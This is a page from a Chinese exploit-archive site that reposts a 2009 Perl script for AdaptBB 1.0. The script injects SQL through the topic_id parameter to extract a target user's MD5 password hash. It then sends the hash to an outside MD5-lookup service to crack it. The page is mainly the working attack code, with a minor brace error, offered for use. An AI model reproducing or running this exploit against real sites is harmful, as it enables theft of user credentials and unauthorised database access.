首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
AdaptBB 1.0 (topic_id) SQL Injection / Credentials Disclosure Exploit
来源:staker[at]hotmail[dot]it 作者:yeat 发布时间:2009-04-07  

#!/usr/bin/perl -w
#
# AdaptBB 1.0 (topic_id) SQL Injection / Credentials Disclosure Exploit
#
# Description
# -----------
# AdaptBB contains a flaw that allows an attacker to carry out an SQL
# injection attack. The issue is due to the inc/bb/topic.php script not
# properly sanitizing user-supplied input to the 'topic_id' variable. This may
# allow an attacker to inject or manipulate SQL queries in the backend
# database if magic_quotes_gpc = off.
# -----------
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it


use strict;
use LWP::Simple;
use IO::Socket;


our ($host,$path,$username) = @ARGV;

if (@ARGV != 3)
{
       print "\n+-----------------------------------------------------------------------+\n".
             "\r| AdaptBB 1.0 (topic_id) SQL Injection / Credentials Disclosure Exploit |\n".
             "\r+-----------------------------------------------------------------------+\n".
             "\rby yeat - staker[at]hotmail[dot]it\n".
             "\nUsage: perl $0 host /path/ username\n".
             "\nhost: localhost\n".
             "\rpath: /adaptbb/\n".
             "\rusername: target username\n";
       exit;

if ($username =~ /(\w+)/i) {
   print "Victim: $username\n";
   exploit();
}  

sub exploit
{
       my ($packet,$html,$inject,$socket);
      
       $inject = "%27/**/UNION/**/SELECT/**/password,2,3,4,5,6,7,8,9,10/**/".
                 "FROM/**/adaptbb_users/**/WHERE/**/username='$username'%23";
      
       $socket = new IO::Socket::INET(
                                      PeerAddr => $host,
                                      PeerPort => 80,
                                      Proto    => 'tcp',
                                    ) or die $!;
                                       
                                         
      $packet .= "GET $path/index.php?do=topic&topic_id=$inject\r\n";
      $packet .= "Host: $host\r\n";
      $packet .= "User-Agent: Lynx (textmode)\r\n";
      $packet .= "Connection: close\r\n\r\n";
     
      $socket->send($packet);
     
      while (<$socket>) {
         $html .= $_;
      }         
     
      if ($html =~ /Re: ([a-f0-9]{32})"/i) {
         print "Exploit successful\nMD5: $1\n";
         print "Password Cracked: ".search_md5($1)."\n";
      }
      else {
         print "Exploit unsuccesful..\n";
      }     
}     
   

sub search_md5
{
     my $hash = shift @_;
     my $cont = undef;
    
     if ($hash =~ /^([a-f0-9]{32})$/i) {
        return get("http://md5.rednoize.com/?p&s=md5&q=$hash");
     }
     else {
        return 404;
     }     
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Family Connections <= 1.8.2 Re
·Amaya 11.1 XHTML Parser Remote
·glFusion <= 1.1.2 COM_applyFil
·XBMC 8.10 GET Request Remote B
·IBM DB2 < 9.5 pack 3a Maliciou
·Mozilla Firefox XSL Parsing Re
·IBM DB2 < 9.5 pack 3a Maliciou
·iDB 0.2.5pa SVN 243 (skin) Loc
·IBM DB2 versions 9.5 prior to
·UltraISO <= 9.3.3.2685 .ui Off
·IBM DB2 versions 9.5 prior to
·Pirelli Discus DRG A225 wifi r
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved